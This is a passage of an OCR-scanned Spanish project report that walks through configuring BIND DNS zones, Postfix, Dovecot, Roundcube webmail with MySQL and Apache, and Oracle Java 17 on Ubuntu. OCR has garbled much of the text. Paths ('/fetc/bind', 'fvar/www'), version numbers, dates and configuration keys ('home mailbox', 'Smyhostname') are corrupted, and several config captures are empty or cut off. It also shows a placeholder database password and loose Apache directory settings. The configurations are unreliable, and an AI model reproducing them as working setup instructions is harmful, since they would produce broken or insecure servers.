el servidor, esto permite una correcta resolucidon de nombres dns al buscarlos en la red.

[+ server@server-virtual-machine: fetc/bind Q = O

GNU nano 6.2 db.atproyecto.xyz

; fichero configuracion zonas

STTL 604800
@ IN SOA atproyecto.xyz. root.atproyecto.xyz. (
282301685 ; Serial
16h : Refresh
15m ; Retry
48h ; Expire
604800 ) ; Negative Cache TTL

NS atproyecto.xyz.

A 192.168.216.131
AAAA 591l

A 192.168.216.131
CNAME atproyecto.xyz.

MX 10 atproyecto.xyz.
A 192.168.216.131

18 lineas leidas
WY Ayuda e Guardar Wl Buscar Wy Cortar Wl Ejecutar g8 Ubicacidn
@4 salir Wil Leer fich.g@l| Reemplazaril Pegar W Justificarg Ir a linea

En la zona inversa db.216.168.192.in-addr.arpa configurar las direcciones
hacia donde apunta el servidor en forma inversa para una correcta resolucion de
nombres.

[+l server@server-virtual-machine: fetc/bind Q u}

GNU nano 6.2 db.216.168.192.1in-addr.arpa

; fichero configuracion zona inversa

STTL 604800
@ IN SOA atproyecto.xyz. root.atproyecto.xyz. (
20230105 ; Serial
160h ; Refresh
15m ; Retry
48h ; Expire
604800 ) ; Negative Cache TTL

atproyecto.xyz.
atproyecto.xyz.

13 lineas leidas
e Ayuda W Guardar WYl Buscar W Cortar Wl Ejecutar [ Ubicacion
Wl Salir Wi Leer fich.@l| Reemplazarglll Pegar W Justificar@ Ir a linea

Pagina 26 de 86



B SALESIANA

Con el comando restart el servidor DNS se reiniciara para que se apliquen los cambios
efectuados.

1 server@server-virtual-machine: fetc/bind

3 S Jetc/init.d/named restart
Restarting named (via systemctl): named.service.

s

Instalar el servidor de correo Postfix, con el comando apt-get install seda
inicio a la instalacion.

server@server-virtual-machine: ~

;-5 sudo apt-get install postfix
Leyendo lista de paquetes... Hecho
Creando arbol de dependencias... Hecho
Leyendo la informacién de estado... Hecho
Paquetes sugeridos:
procmail postfix-mysql postfix-pgsql postfix-ldap postfix-pcre postfix-1lmdb
postfix-sqlite sasl2-bin | dovecot-common resolvconf postfix-cdb
postfix-mta-sts-resolver postfix-doc
Se instalaran los siguientes paquetes NUEVOS:
postfix
® actualizados, 1 nuevos se instalaran, ©® para eliminar y 47 no actualizados.
e necesita descargar 1.245 kB de archives.
Se utilizaran 4.180 kB de espacio de disco adicional después de esta operacion.
Des:1 http://ec.archive.ubuntu.com/ubuntu jammy-updates/main amd64 postfix amd64
3.6.4-1ubuntul.1 [1.245 kB]
Descargados 1.245 kB en 4s (303 kB/s)
Preconfigurando paquetes ...
Seleccionando el paquete postfix previamente no seleccionado.
(Leyendo la base de datos ... 204345 ficheros o directorios instalados actualmen
te.)
Preparando para desempaquetar .../postfix_3.6.4-1ubuntul.l1_amd64.deb ...
Desempaquetando postfix (3.6.4-1ubuntul.1) ...
Configurando postfix (3.6.4-1ubuntul.1) ...
Anadiendo el grupo “postfix' (GID 138) ...
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Dar inicio a la configuracidn para implementar Postfix.

< M~

server@server-virtual-machine: ~

Configuracion de paquetes

| Postfix Configuration |

No configuration:

Should be chosen to leave the current configuration unchanged.
Internet site:

Mail is sent and received directly using SMTP.

Internet with smarthost:

Mail is received directly using SMTP or by running a utility such

as fetchmail. Outgoing mail is sent using a smarthost.

Satellite system:

ALl mail is sent to another machine, called a 'smarthost', for
delivery.

Local only:

The only delivered mail is the mail for local users. There is no
network.

Seleccionar la opcidn Sitio de Internet como tipo de configuracién para mail, porque
nuestro dominio estd alojado en un sitio de internet.

1

Configuracion de paquete

Postfix Configuration
General mail configuration type:

Sin configuracién

Sitio de Internet
Internet con «smarthost»
Sistema satélite

Solo correo local

<Aceptar= <Cancelar=
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Definir el nombre de dominio (atproyecto.xyz) con el que se va a asociar el
servidor.

1 server@server-virtual-machine: ~

Configuracién de paquetes

Postfix Configuration
The 'mail name' is the domain name used to 'qualify' _ALL_mail
addresses without a domain name. This includes mail to and from <root=:
please do not make your machine send out mail from root@example.org
unless root@example.org has told you to.

This name will also be used by other programs. It should be the single,
fully qualified domain name (FQDN).

Thus, if a mail address on the local host is foo@example.org, the
correct value for this option would be example.org.

System mail name:

atproyecto.xyz

<Aceptar> <Cancelar>

Con el comando nano abrir el fichero main.cf para modificarlo tal como se muestra a
continuacion:

1 server@server-virtual-machine: ~ C m]

setting destinations: Smyhostname, atproyecto.xyz, server-virtual-machine, local
host.localdomain, localhost

setting relayhost:

setting mynetworks: 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128

setting mailbox_size limit: @

setting recipient_delimiter: +

setting inet_interfaces: all

setting inet_protocols: all

/etc/aliases does not exist, creating it.

WARNING: /Jetc/aliases exists, but does not have a root alias.

Postfix (main.cf) is now set up with a default configuration. If you need to
make changes, edit fetc/postfix/main.cf (and others) as needed. To view
Postfix configuration values, see postconf(1).

After modifying main.cf, be sure to run 'systemctl reload postfix'.

Running newaliases
Created symlink /etc/systemd/system/multi-user.target.wants/postfix.service — /1
ib/systemd/system/postfix.service.
Procesando disparadores para ufw (0.36.1-4ubuntu®.1)
Procesando disparadores para man-db (2.10.2-1)
Procesando disparadores para rsyslog (8.2112.0-2ubuntu2.2) ...
:-S nano Jetc/postfix/main.cf
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Definir la ubicacion de home mailbox = Maildir/, aquise alojara los mails
entrantes y salientes.

1 server@server-virtual-machine: ~ C — o

GNU nano 6.2 etc/postfix/main.cf *

smtpd_tls_security_level=may

smtp_tls_CApath=/fetc/sslfcerts
smtp_tls_security_level=may
smtp_tls_session_cache_database = btree:${data_directeory}/smtp_scache

smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_un!
myhostname = server-virtual-machine.localdomain

alias_maps = hash:/etc/aliases

alias_database = hash:/etc/aliases

myorigin = /etc/mailname

mydestination = Smyhostname, atproyecto.xyz, server-wvirtual-machine, localhcst.H
relayhost =

mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128

mailbox_size_limit = 0

recipient_delimiter = +

inet_interfaces = all

inet_protocols = ipv4

home mailbox = Maildir

k&Y Formato DOS M- ANGHEL AN kBl Respaldar ficher
We Cancelar ¥ Formato Mac WEl¥ Anteponer " TRLEVEEL

Reiniciar el servidor Postfix con el comando restart, para que se ejecuten los
cambios efectuados.

[+1 server@server-virtual-machine: ~

1% Jetc/init.d/postfix restart
Restarting postfix (via systemctl): postfix.service.

25
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Instalar el servidor de correo dovecot con el comando apt-get install, este
servidor permite el acceso a los protocolos imap y pop3.

server@server-virtual-machine: ~

:-S$ sudo apt-get install dovecot-pop3d
Leyendo lista de paquetes... Hecho
Creando arbol de dependencias... Hecho
Leyendo la informacidon de estado... Hecho
Se instalaran los siguientes paquetes adicionales:
dovecot-core
Paguetes sugeridos:
dovecot-gssapi dovecot-imapd dovecot-ldap dovecot-1lmtpd dovecot-lucene
dovecot-managesieved dovecot-mysql dovecot-pgsql dovecot-sieve dovecot-solr
dovecot-sqlite dovecot-submissiond ntp
Se instalaran los siguientes paquetes NUEVOS:
dovecot-core dovecot-pop3d
0 actualizados, 2 nuevos se instalaran, @ para eliminar y 47 no actualizados.
Se necesita descargar 3.357 kB de archivos.
Se utilizaran 10,7 MB de espacio de disco adicional después de esta operacion.
;Desea continuar? [5/n] s
Des:1 http://ec.archive.ubuntu.com/ubuntu jammy-updates/main amd64 dovecot-core
amd64 1:2.3.16+dfsgl-3ubuntu2.2 [3.319 kB]
Des:2 http://ec.archive.ubuntu.com/ubuntu jammy-updates/main amd64 dovecot-pop3d
amd64 1:2.3.16+dfsgl-3ubuntu2.2 [37,7 kB]
Descargados 3.357 kB en 1s (2.245 kB/s)
Seleccionando el paquete dovecot-core previamente no seleccionado.
(Leyendo la base de datos ... 204542 ficheros o directorios instalados actualmen
te.)

Con el comando nano modificar el fichero dovecot.conf tal como se muestra a
continuacion:

I+l server@server-virtual-machine: ~

Leyendo lista de paquetes... Hecho
Creando arbol de dependencias... Hecho
Leyendo la informacion de estado... Hecho
Se instalaran los siguientes paquetes NUEVOS:
dovecot-imapd
® actualizados, 1 nuevos se instalaran, ® para eliminar y 47 no actualizados.
Se necesita descargar 193 kB de archivos.
Se utilizaran 708 kB de espacio de disco adicional después de esta operacioén.
Des:1 http://ec.archive.ubuntu.com/ubuntu jammy-updates/main amd64 dovecot-imapd
amd64 1:2.3.16+dfsgl-3ubuntu2.2 [193 kB]
Descargados 193 kB en 1s (240 kB/s)

Seleccionando el paquete dovecot-imapd previamente no seleccionado.

(Leyendo la base de datos ... 205085 ficheros o directorios instalados actualmen
te.)

Preparando para desempaquetar .../dovecot-imapd_1%3a2.3.16+dfsgl-3ubuntu2.2_amd6
4.deb ...

Desempaquetando dovecot-imapd (1:2.3.16+dfsgl-3ubuntu2.2)

Configurando dovecot-imapd (1:2.3.16+dfsgl-3ubuntu2.2) ...

Creating config file /fetc/dovecot/conf.d/20-imap.conf with new version
Procesando disparadores para dovecot-core (1:2.3.16+dfsgl-3ubuntu2.2)
Procesando disparadores para ufw (©.36.1-4ubuntu@.1) ...
:- 5% sudo nano /etc/dovecot/dovecot.conf
S

s
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Establecer los protocolos de conexidén en la linea protocolos = imap pop3, para
establecer como serd el acceso a los mensajes de correo.

1 server@server-virtual-machine: ~ ]

GNU nano 6.2 etc/dovecot/dovecot.conf
1

!include conf.d/*.conf

linclude_try local.conf

protocols = imap pop3
mail_location = maildir:~/Maildir
listen = *, ::

base_dir = /var/run/dovecot/

namespace inbox {

inbox = yes

}

WY Ayuda W Guardar Wl Buscar WY Cortar Wl Ejecutar @4 Ubicacion
B Salir Wil Leer fich.@ll Reemplazargll Pegar W Justificarl@] Ir a linea

Reiniciar el servicio dovecot con el comando restart para que se efectuen las
modificaciones.

I server@server-virtual-machine: ~

Se instalaran los siguientes paquetes NUEVOS:
dovecot-imapd
0 actualizados, 1 nuevos se instalaran, © para eliminar y 47 no actualizados.
e necesita descargar 193 kB de archivos.
e utilizaran 708 kB de espacio de disco adicional después de esta operacién.
es:1 http://ec.archive.ubuntu.comf/ubuntu jammy-updates/main amd64 dovecot-imapd
amd64 1:2.3.16+dfsgl-3ubuntu2.2 [193 kB]
Descargados 193 kB en 1s (240 kB/s)
Seleccionando el paquete dovecot-imapd previamente no seleccionado.
(Leyendo la base de datos ... 205085 ficheros o directorios instalados actualmen
te.)
Preparando para desempaquetar .../dovecot-imapd_1%3a2.3.16+dfsg1-3ubuntuz.2_amd6
4.deb ...
Desempaquetando dovecot-imapd (1:2.3.16+dfsgl-3ubuntu2.2) ...
Configurando dovecot-imapd (1:2.3.16+dfsgl-3ubuntu2.2) ...

Creating config file /etc/dovecot/conf.d/20-imap.conf with new version
Procesando disparadores para dovecot-core (1:2.3.16+dfsgl-3ubuntu2.2) ...
Procesando disparadores para ufw (0.36.1-4ubuntu®.1) ...

:- % sudo nano /etc/dovecot/dovecot.conf

: 5 sudo [fetc/init.d/dovecot restart
[sudo] contrasefa para server:
Restarting dovecot (via systemctli: dovecot.service.

15

=
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Con el comando wget descargar del repositorio de cliente de correo roundcube.

:-S sudo wget https://github.com/roundcube/roundcubemail/releases/dow
nload/1.6.0/roundcubemail-1.6.0-complete.tar.gz
--2024-61-63 21:09:27-- https://github.com/roundcube/roundcubemail/releases/download/1.6.08/roundc
ubemail-1.6.0-complete.tar.gz I
Resolviendo github.com (github.com)... 140.82.112.3
Conectando con github.com (github.com)[140.82.112.3]:443...
Peticidon HTTP enviada, esperando respuesta... 302 Found
Ubicacion: https://objects.githubusercontent.com/github-production-release-asset-2e65be/4224042/df
56dfdf-e7a7-4640-bcde-44535b8d99d97X-Amz-Algorithm=AWS4-HMAC-SHA256&X -Amz - Credential=AKIAVCODYLSAS
3PQK4ZA%2F20240104%2Fus- east lm2F53m2FaWS4 requestix Amz-Date= 20240104T02092?7QX Amz -Expires= BOOWK

conectado.

-Amz-Signature

s=host&actor_1id
Droundcubemail-
--2024-01-03 21:

-Expires=300&X-Amz-
z-SignedHeaders=host&actor_id

m

Resolviendo objects.githubusercontent.com (objects.githubusercontent.com)...
185.199.110.133,
Conectando con objects.githubusercontent.com (objects.githubusercontent.com)[185.199.1608.133]:443.

199.189.133,

. conectado.

Con el comando tar xfv descomprimir el archivo descargado de roundcubemail.

roundcubemail-1.
roundcubemail-1.
roundcubemail-1.
roundcubemail-1.
roundcubemail-1.
roundcubemail-1.
roundcubemail-1.
roundcubemail-1.
roundcubemail-1.
roundcubemail-1.
roundcubemail-1.
roundcubemail-1.
roundcubemail-1.
roundcubemail-1.
roundcubemail-1.
roundcubemail-1.
roundcubemail-1.
roundcubemail-1.
roundcubemail-1.
roundcubemail-1.
roundcubemail-1.
roundcubemail-1.
roundcubemail-1.
roundcubemail-1.
roundcubemail-1.

09 28--

.tar.g %response—contentftype:application%ZFoctet—stream [siguiente
https://objects.githubusercontent.com/github-production-release-asset-2e6
5be/4224042/df55dfdf 7a7-4640-bc4e-44535b8d99d97X-Amz-Algorithm=AWS4-HMAC - SHA256&X-Amz - Credential

2F20240104%2Fus-east-1%2Fs

ignature=60e5754771f3dfffe803cfc3c619611d26238c8deb79daB835287088211cec166&X-Am
key_id=0&repo_id=4224042&response-content-disposition=attachment%3
B%20filename%3Droundcubemail-1.6.0-complete.tar.gz&response-content-type=application%2Foctet-strea

server@server-virtual-machine: fvarf/www/roundcube

:~$ sudo tar xvf roundcubemail-1.6.0-complete.tar.gz

.af

.0/composer.lock
.0/temp/

.@/INSTALL
.0/public_html/
.0/1index.php
.@/LICENSE

.8/bin/
.0/CHANGELOG . md
.0/config/
.0/plugins/

.0fskins/
.0/README .md

.0/logs/

.0/program/

.0 /UPGRADING
.0f/composer. json-dist
.0/installer/
.0/composer. json
.0/vendor /
.0f/SECURITY.md
.0f.htaccess

.0/sQL/
.0/5QL/mssql.initial.sql
.0/5QL/mysql.initial.sql
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Con el comando chown asignar permisos al fichero www-data para modificarlo y
configurarlo.

M server@server-virtual-machine: fvarfwwwjfroundcube

roundcubemail-1.6.0/bin/msgimport.sh
roundcubemail-1.6.8/bin/makedoc.sh
roundcubemail-1.6.8/bin/msgexport.sh
roundcubemail-1.6.0/bin/moduserprefs.sh
roundcubemail-1.6.0/binfcleandb.sh
roundcubemail-1.6.08/binfupdate.sh
roundcubemail-1.6.8/binfdeluser.sh
roundcubemail-1.6.08/bin/fgc.sh
roundcubemail-1.6.0/bin/initdb.sh
roundcubemail-1.6.0/binfupdatedb.sh
roundcubemail-1.6.08/bin/jsshrink.sh
roundcubemail-1.6.8/binfcssshrink.sh
roundcubemail-1.6.0/bin/decrypt.sh
roundcubemail-1.6.0/bin/indexcontacts.sh
roundcubemail-1.6.0/public_html/index.php
roundcubemail-1.6.0/public_html/plugins
roundcubemail-1.6.0/public_html/skins
roundcubemail-1.6.0/public_html/program/
roundcubemail-1.6.0/public_html/.htaccess
roundcubemail-1.6.0/public_html/preogram/js
roundcubemail-1.6.8/public_html/program/resources
roundcubemail-1.6.8/temp/.htaccess

:-$ sudo mkdir -p [var/www/

:~$ sudo mv roundcubemail-1.6.0 fvar/www/roundcube

:-$ cd /var/www/roundcube

5 $ sudo chown www-data:www-data temp/ logs/ -R

<

Instalar el paquete software-properties-common con el comando apt
install para la extraccion de repositorios que son necesarios para la configuracién.

3 $ sudo apt install software-properties-common
Leyendo lista de paquetes... Hecho
Creando arbol de dependencias... Hecho
Leyendo la informacidon de estado... Hecho
Se instalaran los siguientes paquetes adicionales:

python3-software-properties software-properties-gtk
Se actualizaran los siguientes paquetes:

python3-software-properties software-properties-common software-properties-gtk
3 actualizados, 8 nuevos se instalaran, 0 para eliminar y 6 no actualizados.

e necesita descargar 114 kB de archivos.

e utilizaran 6.144 B de espacio de disco adicional después de esta operacion.
;Desea continuar? [S/n] s
jammy-updates/main amd64 software-properties-common all

jammy-updates/main amd64 software-properties-gtk all @.9

Des:3 http://ec.archive.ubuntu.comfubuntu jammy-updates/main amd64 python3-software-properties all
9.99.22.9 [28,8 kB]

Descargados 114 kB en 1s (146 kB/s)

(Leyendo la base de datos ... 206489 ficheros o directorios instalados actualmente.)

Preparando para desempaquetar .../software-properties-common_06.99.22.9_all.deb ...

Desempaquetando software-properties-common (©.99.22.9) sobre (0.99.22.7) ..

Preparando para desempaquetar ./software-properties-gtk ©.99.22.9 all.deb ...

Desempaquetando software-properties-gtk (0.99.22.9) sobre (0.99.22.7) ...

Preparando para desempaquetar .../python3-software-properties_0.99.22.9_all.deb ...

Nacamnanuatanda nuthan2_caftuara_nranartiac /@ 00 727 0% cnhra f@ 00 22 7Y%
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Agregar el repositorio extraido ppa:ondrej/php con el comando add-apt-
repository.

S sudo add-apt-repository ppa:ondrej/php

~[[DPPA publishes dbgsym, you may need to include 'main/debug' component

Repositorio: «deb https://ppa.launchpadcontent.net/ondrej/php/ubuntu/ jammy main»

Descripcion:

Co-installable PHP versions: PHP 5.6, PHP 7.x, PHP 8.x and most requested extensions are included.
Only Supported Versions of PHP (http://php.net/supported-versions.php) for Supported Ubuntu Relea
ses (https://wiki.ubuntu.com/Releases) are provided. Don't ask for end-of-life PHP versions or Ubu
ntu release, they won't be provided.

Debian oldstable and stable packages are provided as well: https://deb.sury.org/#debian-dpa
You can get more information about the packages at https://deb.sury.org
IMPORTANT: The <foo>-backports is now required on older Ubuntu releases.

BUGS&FEATURES: This PPA now has a issue tracker:
https://deb.sury.org/#bug-reporting

you are using php-gearman, you need to add ppa:ondrej/pkg-gearman

you are using apache2, you are advised to add ppa:ondrej/apache2

you are using nginx, you are advised to add ppa:ondrej/nginx-mainline
ppa:ondrej/nginx

H $ sudo apt update
http://ec.archive. Ubuntu com/ubuntu jammy InRelease

http://ec.archive.ubuntu.comfubuntu jammy-updates InRelease

Db] 3 http://security.ubuntu.com/ubuntu jammy-security InRelease
http://ec.archive.ubuntu.com/ubuntu jammy-backports InRelease
https://ppa.launchpadcontent.net/ondrej/php/ubuntu jammy InRelease

Leyendo lista de paquetes... Hecho

Creando arbol de dependencias... Hecho

Leyendo la informacion de estado... Hecho

Se pueden actualizar 42 paquetes. Ejecute «apt list --upgradable» para verlos.

Instalar las extensiones php necesarias para el funcionamiento de roundcube con el
comando apt install.

server@server-virtual-machine: fvarfwww/roundcube

S sudo apt install php-net-ldap2 php-net-ldap3 php
-imagick php8.1-common php8.1- gd php8.1-imap php8.1-mysql php8.1-curl php8.1-zip php8.1-xml php8.1
-mbstring php8.1-bz2 php8.1-intl php8.1-gmp php8.1-redis
Leyendo lista de pagquetes... Hecho
ndo arbol de dependencias... Hecho
Leyendo la informacién de estado... Hecho
El paquete indicado a continuacién se instalé de forma automatica y ya no es necesario.
php8.1-imagick
Utilice «sudo apt autoremove» para eliminarlo.
Se instalaran los siguientes paquetes adicionales:
libapache2-mod-php8.1 libavif13 libgav1i-@ 1ibgd3 1libyuve php-pear php8.1-cli php8.1-fpm
php8.1-igbinary php8.1-1dap php8.1-opcache php8.1-readline php8.3-cli php8.3-common
php8.3-imagick php8.3-opcache php8.3-phpdbg php8.3-readline
Paquetes sugeridos:
1libgd-tools redis-server
Se instalaran los siguientes paquetes NUEVOS:
libavif13 libgav1-0 1libyuv@ php-net-ldap2 php-net-ldap3 php-pear php8.1-gmp php8.1-igbinary
php8.1-mysql php8.1-redis php8.3-cli php8.3-common php8.3-imagick php8.3-opcache php8.3-phpdbg
php8.3-readline
Se actualizaran los siguientes paquetes:
libapache2-mod-php8.1 libgd3 php-imagick php8.1-bz2 php8.1-cli php8.1-common php8.1-curl
php8.1-fpm php8.1-gd php8.1-imap php8.1-intl php8.1-1dap php8.1-mbstring php8.1-opcache
php8.1-readline php8.1-xml php8.1-zip
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Crear base de datos roundcubemail para roundcube, crear usuarios,

privilegios.

server@server-virtual-machine: ~

g $ cd

:- % sudo mysql -u root
Welcome to the MysSQL monitor. Commands end with ; or \g.
Your MySQL connection id is 63
Server version: 8.0.35-8ubuntu®.22.84.1 (Ubuntu)

Copyright (c) 2000, 2023, Oracle andfor its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> CREATE DATABASE roundcubemail DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;

ERROR 1007 (HY®0O): Can't create database 'roundcubemail'; database exists
mysql= CREATE USER roundcube@localhost IDENTIFIED BY 'roundcube_password';
ERROR 1396 (HY080): Operation CREATE USER failed for 'roundcube'@'localhost'
mysql= CREATE USER round@localhost IDENTIFIED BY 'roundcube_password’;

Query OK, © rows affected (0,04 sec)

mysql= GRANT ALL PRIVILEGES ON roundcubemail.* TO round@localhost;
Query OK, 0 rows affected (0,01 sec)

mysql= FLUSH PRIVILEGES;
Query OK, © rows affected (0,02 sec)

mvsal= EXIT

tablas vy

Cargar la base de datos roundcubemail y abrir el editor de archivos para el fichero

roundcube.conf

S sudo mysql roundcubemail < /var/www/roundcube/SQL/mysql.initial.s

sudo nano fetc/apache2/sites-available/roundcube.conf

S
S

Modificar el ServerName con mail.atproyecto.xyz

en

fichero

roundcube.conf, para asignar un nombre especifico que se conecte al servidor de

correo.

M~ server@server-virtual-machine: /var/www/roundcube/config

GNU nano 6.2 etc/apache2/sites-available/roundcube.conf

<VirtualHost *:80>
ServerName mail.atproyecto.xyz
DocumentRoot /fvar/www/roundcube/

ErrorLog ${APACHE_LOG DIR}/roundcube error.log
CustomLog S${APACHE_LOG_DIR}/roundcube_access.log combined

<Directory /=
Options FollowSymLinks
Allowoverride All
</Directory=

<Directory /var/www/roundcube/>
Options FollowSymLinks MultiViews
AllowOverride All
Order allow,deny
allow from all

<fDirectory>

</VirtualHost>

20 lineas leidas
e Ayuda W Guardar WY Buscar dly Cortar Wl Ejecutar WY Ubicacion
iy Salir Wil Leer fich. @l Reemplazar sl Pegar W8 Justificar [~
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Probar si roundcube estactivo, ingresando atproyecto.xyz/installer en la url
del navegador.

&~ (&) O & atproyecto.xyz/installer/ w

roundcube \

open source webmail software

Roundcube Webmail Installer

1. Check environment

Checking PHP version
Version: OK (PHP 8.1.2-1ubuntu2.14 detected)

Checking PHP extensions
The following modules/extensions are required to run Roundcube

PCRE: OK
DOM: OK
Session: OK
XML: OK
Intl: OK
JSON: OK
PDO: OK
Multibyte: OK
OpenSSL: OK
Filter: OK

Modificar el fichero /etc/hosts con (localhost mail.atproyecto.xyz) con el
comando nano, para identificar el dominio al cual se debe conectar el servidor.

-localhost ip6-loopback
-localnet

-mcastprefix

-allnodes

-allrouters

8 lineas leidas
W Ayuda @8 Guardar Wi Buscar Wy Cortar W Ejecutar a¥ Ubicacion
W salir W Leer fich. Wl Reemplazar WY Pegar @ Justificar & Ir a linea
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Modificar el fichero config.inc.php con el comando nano tal como se muestra a
continuacion para establecer las reglas del servidor y habilitar los puertos de conexién.

[+1 server@server-virtual-machine: fvarfwww/roundcubefconfig Q

GNU nano 6.2 config.inc.php
[ 1=

[ 1=

oY Ayuda W Guardar WY Buscar W Cortar Wl Ejecutar e Ubicacion
M Salir Wi Leer fich. s\ Reemplazar WY Pegar @ Justificar Wi Ir a linea

[+1 server@server-virtual-machine: fvarfwww/roundcube/conFig

GNU nano 6.2 config.inc.php

W Ayuda Guardar Wl Buscar al Cortar Wl Ejecutar We Ubicacidn
w4 salir Leer fich. WY Reemplazar Ml Pegar &8 Justificar W Ir a linea
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Instalacion de apache Tomcat9

Primero actualizar el sistema con el comando apt update para cargar las

actualizaciones disponibles.

server@server-virtual-machine: ~

:-$ sudo apt update

[sudo] contrasefia para server:
0bj:1 http://ec.archive.ubuntu.com/ubuntu jammy InRelease
0bj:2 https://ppa.launchpadcontent.net/ondrej/php/ubuntu jammy InRelease
Des:3 http://security.ubuntu.com/ubuntu jammy-security InRelease [118 kB]
Des:4 http://ec.archive.ubuntu.com/ubuntu jammy-updates InRelease [119 kB]
0bj:5 http://ec.archive.ubuntu.com/ubuntu jammy-backports InRelease
Des:6 http://ec.archive.ubuntu.com/ubuntu jammy-updates/main amd64 Packages [1.2
77 kB]
Des:7 http://security.ubuntu.com/ubuntu jammy-security/main 1386 Packages [385 k
B]
Des:8 http://ec.archive.ubuntu.com/ubuntu jammy-updates/main 1386 Packages [549
kB]
Des:9 http://security.ubuntu.com/ubuntu jammy-security/main amd64 Packages [1.06
2 k8]
Des:10 http://ec.archive.ubuntu.com/ubuntu jammy-updates/universe amd64 Packages

[1.023 kB]
Des:11 http://ec.archive.ubuntu.com/ubuntu jammy-updates/universe 1386 Packages
[678 kB]
Des:12 http://ec.archive.ubuntu.com/ubuntu jammy-updates/multiverse amd64 Packag
es [42,1 kB]
Des:13 http://ec.archive.ubuntu.com/ubuntu jammy-updates/multiverse 1386 Package
s [4.184 B]
Des:14 http://security.ubuntu.com/ubuntu jammy-security/universe 1386 Packages [
583 kB]
Des:15 http://security.ubuntu.com/ubuntu jammy-security/universe amd64 Packages
[826 kB]
Descargados 6.658 kB en 9s (760 kB/s)
Leyendo lista de paquetes... Hecho
Creando arbol de dependencias... Hecho
Leyendo la informacidon de estado... Hecho
Se pueden actualizar 35 paquetes_IEjecute «apt 1ist --upgradable» para verlos.
1~

Crear un repositorio con el comando add-apt-repository para obtener las
ultimas actualizaciones del paquete de java, puede ser util para ejecutar aplicaciones

escritas en java.

:~% sudo add-apt-repository ppa:linuxuprising/java
Repositorio: «deb https://ppa.launchpadcontent.net/linuxuprising/java/ubuntu/ ja
mmy main»
Descripcién:
Oracle Java 11 (LTS) and 17 ( installer for Ubuntu (21.16, 21.04, 260.04, 18.
04, 16.04 and 14.04), Pop!_0S nux Mint and Debian.

Java binaries are not hosted in this PPA due to licensing. The packages in this
PPA download and install Oracle Java, so a working Internet connection is requir
ed.

The packages in this PPA are based on the WebUpd8 Oracle Java PPA packages: http
s://launchpad.net/~webupd8team/+archive/ubuntu/java

Installation instructions (with some tips), feedback, suggestions, bug reports e
tc.:

Oracle Java 11: https://www.linuxuprising.com/2019/06/new-oracle-java-11-install
er-for-ubuntu.html

Oracle Java 17: https://www.linuxuprising.com/2021/09/how-to-install-oracle-java
-17-1ts-on.html

Important notice regarding Oracle Java 11 and 16: the Oracle JDK license has cha
nged starting April 16, 2019. The new license permits certain uses, such as pers
onal use and development use, at no cost -- but other uses authorized under prio
r Oracle JDK licenses may no longer be available. A FAQ is available here: https
1/ /www.oracle.com/technetwork/java/javase/overview/oracle- jdk-fags.html . After
this change, new Oracle Java 11 releases (11.0.3 and newer) require signing in u
sing an Oracle account to download the binaries. This PPA has a new installer th
at requires the user to download the Oracle JDK 11 .tar.gz and place it in a fol
der, and only then install the "oracle-javall-installer-local" package. Details

https://www.linuxuprising.com/2019/06/new-oracle-java-11-installer-for-ub
untu.html
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El siguiente comando apt—-install se ejecuta para la instalacion de Oracle javal7 en
el sistema Ubuntu, javal7 es una version de lenguaje de programacion java.

S sudo apt install oracle-javal7-installer
Leyendo lista de paquetes... Hecho
Creando arbol de dependencias... Hecho
Leyendo la informacion de estado... Hecho
El paquete indicado a continuacidn se instaldéd de forma automatica y ya no es nec
esario.
php8.1-imagick
Utilice «sudo apt autoremove» para eliminarlo.
Se instalaran los siguientes paquetes adicionales:
binutils binutils-common binutils-x86-64-1inux-gnu gsfonts-x11 java-common
libbinutils libctf-nobfd® libctf® oracle-javal7-set-default
Paquetes sugeridos:
binutils-doc binfmt-support visualvm ttf-baekmuk | ttf-unfonts
| ttf-unfonts-core ttf-kochi-gothic | ttf-sazanami-gothic ttf-kochi-mincho
| ttf-sazanami-mincho ttf-arphic-uming
Se instalaran los siguientes paquetes NUEVOS:
binutils binutils-common binutils-x86-64-1inux-gnu gsfonts-x11 java-common
libbinutils libctf-nobfd® libctf@ oracle-javal7-installer
oracle-javal7-set-default
® actualizados, 10 nuevos se instalaran, © para eliminar y 35 no actualizados.
Se necesita descargar 3.472 kB de archivos.
Se utilizaran 15,0 MB de espacio de disco adicional después de esta operacion.
iDesea continuar? [5/n] s
Des:1 https://ppa.launchpadcontent.net/1linuxuprising/java/ubuntu jammy/main amdé
4 oracle-javal7-installer amd64 17.0.6-1~linuxuprising® [31,5 kB]
Des:2 https://ppa.launchpadcontent.net/linuxuprising/java/ubuntu jammy/main amdé
4 oracle-javal7-set-default all 17.0.6-1~1inuxuprising® [2.592 B]
Des:3 http://ec.archive.ubuntu.com/ubuntu jammy-updates/main amd64 binutils-comm
on amd64 2.38-4ubuntu2.5 [222 kB]

Dentro de la instalacion nos pedirda aceptar términos y condiciones, donde
procederemos aceptar.

M~ server@server-virtual-machine: ~
Configuracién de paquetes
Configuracién de oracle-javal7-installer

Oracle No-Fee Terms and Conditions (NFTC)

You MUST agree to the license available in
https://www.oracle.com/downloads/licenses/no-fee-license.html if you
want to download and use Oracle JDK 17.

Your use of this Program is governed by the No-Fee Terms and Conditions
set forth below, unless you have received this Program (alone or as part
of another Oracle product) under an Oracle license agreement (including
but not limited to the Oracle Master Agreement), in which case your use
of this Program is governed solely by such license agreement with
Oracle.

oracle No-Fee Terms and Conditions (NFTC)

Definitions

"Oracle" refers to Oracle America, Inc. "You" and "Your" refers to (a) a
company or organization (each an "Entity") accessing the Programs, if
use of the Programs will be on behalf of such Entity; or (b) an
individual accessing the Programs, if use of the Programs will not be on
behalf of an Entity. "Program(s)" refers to Oracle software provided by

<Aceptar>
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Visualizara la versién que se encuentra ya instalada

:-$ java -version
java version "17.0.6" 2023-01-17 LTS

Java(TM) SE Runtime Environment (build 17.0.6+9-LTS-198)
Java HotSpot(TM) 64-Bit Server VM (build 17.0.6+9-LTS-190, mixed mode, sharing)
-5

Configurar el Oracle java 17 como la version predeterminada de java en el sistema
Ubuntu, esto asegura que las aplicaciones, scripts y herramientas que dependan de java
utilicen la version correcta.

. A N _ - _— - _
:~$ sudo apt install oracle-javal7-set-default

Leyendo lista de paquetes... Hecho

Creando arbol de dependencias... Hecho

